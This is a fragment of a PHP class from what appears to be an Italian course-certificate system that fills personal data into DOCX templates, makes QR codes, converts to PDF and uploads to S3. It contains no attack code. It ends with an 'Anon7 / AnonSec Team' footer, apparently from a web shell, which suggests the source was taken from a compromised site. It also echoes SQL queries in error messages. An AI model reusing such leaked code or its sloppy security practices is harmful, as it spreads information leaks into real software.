			// $doc = str_replace("{{DATA_CORSO}}", $data_esame, $doc);
			// $doc = str_replace("{{CODICE_ATTESTATO}}", $codice_attestato, $doc);
			$i=0;
			while(strpos($doc, "{{")>-1 || strpos($doc, "{{") >= strlen($doc)){
				if($i>10000){
					break;
				}$i++;
				$g_start = strpos($doc, "{{");
				$g_end = strpos($doc, "}}");
				$da_sostituire = substr($doc, $g_start, $g_end-$g_start+2);
				// Rimuove tutti i tag XML o HTML
				$parola_chiave = strip_tags($da_sostituire);
				
				// Elimina anche eventuali caratteri di controllo, spazi e a capo
				$parola_chiave = preg_replace('/\s+/', '', $parola_chiave);
				
				// Mantiene solo lettere maiuscole e underscore
				$parola_chiave = "{{".preg_replace('/[^A-Z_]/', '', $parola_chiave)."}}";
				
				switch($parola_chiave){
					case "{{COGNOME_NOME}}": $doc = str_replace($da_sostituire, $cognome_nome, $doc); break;
					case "{{DATA_NASCITA}}": $doc = str_replace($da_sostituire, $data_nascita, $doc);break;
					case "{{CODICE_FISCALE}}": $doc = str_replace($da_sostituire, $codice_fiscale, $doc);break;
					case "{{TITOLO_ESAME}}": $doc = str_replace($da_sostituire, $titolo_esame, $doc);break;
					case "{{SOTTOTITOLO_ESAME}}": $doc = str_replace($da_sostituire, $sottotitolo_esame, $doc);break;
					case "{{TITOLO_CORSO}}": $doc = str_replace($da_sostituire, $titolo_esame, $doc);break;
					case "{{SOTTOTITOLO_CORSO}}": $doc = str_replace($da_sostituire, $sottotitolo_esame, $doc);break;
					case "{{MODULI_ESAME}}": $doc = str_replace($da_sostituire, $moduli_esame, $doc);break;
					case "{{MODULI_CORSO}}": $doc = str_replace($da_sostituire, $moduli_esame, $doc);break;
					case "{{DATA_ESAME}}": $doc = str_replace($da_sostituire, $data_esame, $doc);break;
					case "{{DATA_CORSO}}": $doc = str_replace($da_sostituire, $data_esame, $doc);break;
					case "{{CODICE_ATTESTATO}}": $doc = str_replace($da_sostituire, $codice_attestato, $doc);break;
					case "{{CODICE_CERTIFICATO}}": $doc = str_replace($da_sostituire, $codice_certificato, $doc);break;
				//	default: $doc = str_replace($da_sostituire, "", $doc);break;
				}
			}

			//genero codice qr
			$pathQrCode = $path."app/resources/phpqrcode/qrlib.php";
			require_once($pathQrCode);
			unlink($url_tmp_qr_code_image);
			QRcode::png($link_verifica_attestato, $url_tmp_qr_code_image, "H", "300", "2");
			chown($url_tmp_qr_code_image, "ec2-user");
			chmod($url_tmp_qr_code_image, 0775);
			
			//rimuovo old doc
			unlink($documento_tmp);

			//aggiungo a attestato tmp
			file_put_contents($documento_tmp, $doc);
			chown($documento_tmp, "ec2-user");
			chmod($documento_tmp, 0775);

			
			//zip
			// Enter the name of directory 
			$pathdir = $path."generator_pdf/corsi/".$dominio."/tmp_".$folder_name."/";  
				
			// Enter the name to creating zipped directory 
			$zipcreated = $path."generator_pdf/corsi/".$dominio."/".$nome_file_attestato.".zip"; 
			$wordrename = $path."generator_pdf/corsi/".$dominio."/".$nome_file_attestato.".docx"; 
			$pdfrename = $path."generator_pdf/corsi/".$dominio."/".$nome_file_attestato.".pdf"; 


				
			if(!parent::zippami($pathdir, $zipcreated)){
				return $this->printMessage($this->responseMessage("Errore nella generazione del attestato zip, si prega di riprovare!", false));
			}
			
			rename($zipcreated, $wordrename);

			chown($wordrename, "ec2-user");
			chmod($wordrename, 0775);

			unlink($nome_file_attestato.".zip");
			//genera pdf
			include SITEROOT_DIR.'/app/helpers/converterPdf.php';

			$converter = new OfficeConverter($wordrename, null, $path."generator_pdf/libreoffice/program/soffice.bin");
			$converter->convertTo($pdfrename); //generates pdf file in same directory as test-file.docx

			chown($pdfrename, "ec2-user");
			chmod($pdfrename, 0775);

			if(!$converter){
				echo "Errore in conversione"; die;
			}		
			unlink($wordrename);

			//upload s3
			$url = $this->putFileS3Private("user", $id_user, $pdfrename);	
			
			if($url){
				$_url_save = end(explode("/",$url));
				$url_save = explode("?",$_url_save)[0];
				unlink($pdfrename);
				$this->getFile("user",$id_user,$url_save);
			}else{
				return $this->printMessage($this->responseMessage("Errore nella generazione dell'attestato, si prega di riprovare!", false));
			}
		}else{
			return $this->printMessage( $this->responseMessage("Attestato non trovato!".$query, false) );
		}
	}


	//----------------start conf email----------------

	function getEmailConfig(){
		$query = "SELECT * FROM email_config";
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function autosaveOggettoEmail($_id_email, $_oggetto){
		$id_email =  $this->db->quoteInt($_id_email);
		$oggetto =  $this->db->quoteText($_oggetto);
		$query = "UPDATE email_config SET oggetto = $oggetto WHERE id_email = $id_email";
		if ($this->db->SafeExec($query)) {
			return $this->printMessage( $this->responseMessage("Oggetto della mail salvato con successo.", true) );
		} else {
			return $this->printMessage( $this->responseMessage("Errore durante il salvataggio, si prega di riprovare!", false) );
		}
	}

	function autosaveMessaggioEmail($_id_email, $_messaggio){
		$id_email =  $this->db->quoteInt($_id_email);
		$messaggio =  $this->db->quoteText($_messaggio);
		$query = "UPDATE email_config SET contenuto = $messaggio WHERE id_email = $id_email";
		if ($this->db->SafeExec($query)) {
			return $this->printMessage( $this->responseMessage("Contenuto della mail salvata con successo.", true) );
		} else {
			return $this->printMessage( $this->responseMessage("Errore durante il salvataggio, si prega di riprovare!", false) );
		}
	}

	function getFilesEmail($id_email) {
		$res = $this->getListaFilePrivate('email_config', $id_email);
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function getFileEmail($id_email, $filename){
		$res = $this->getFile('email_config', $id_email, $filename);
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function uploadFilesEmail($id_email, $files){
		for ($i=0; $i < count($files); $i++) { 
			$ret = $this->putFileS3Private("email_config", $id_email, $files[$i]);
		}
		if($ret){
			return $this->printMessage( $this->responseMessage("File caricato con successo!", true) );
		}else{
			return $this->printMessage( $this->responseMessage("Errore nel carimento del file",true) );
		}	
	}

	function deleteFileEmail($id_email, $filename) {
		
		$this->deleteFileS3Private("email_config",$id_email,$filename);
	}

	//----------------fine conf email----------------

	private function deleteDirectory($dir) {
		if (!file_exists($dir)) {
			return true;
		}

		if (!is_dir($dir)) {
			return unlink($dir);
		}

		foreach (scandir($dir) as $item) {
			if ($item == '.' || $item == '..') {
				continue;
			}

			if (!$this->deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) {
				return false;
			}
		}

		return rmdir($dir);
	}

}
?>

Anon7 - 2022
AnonSec Team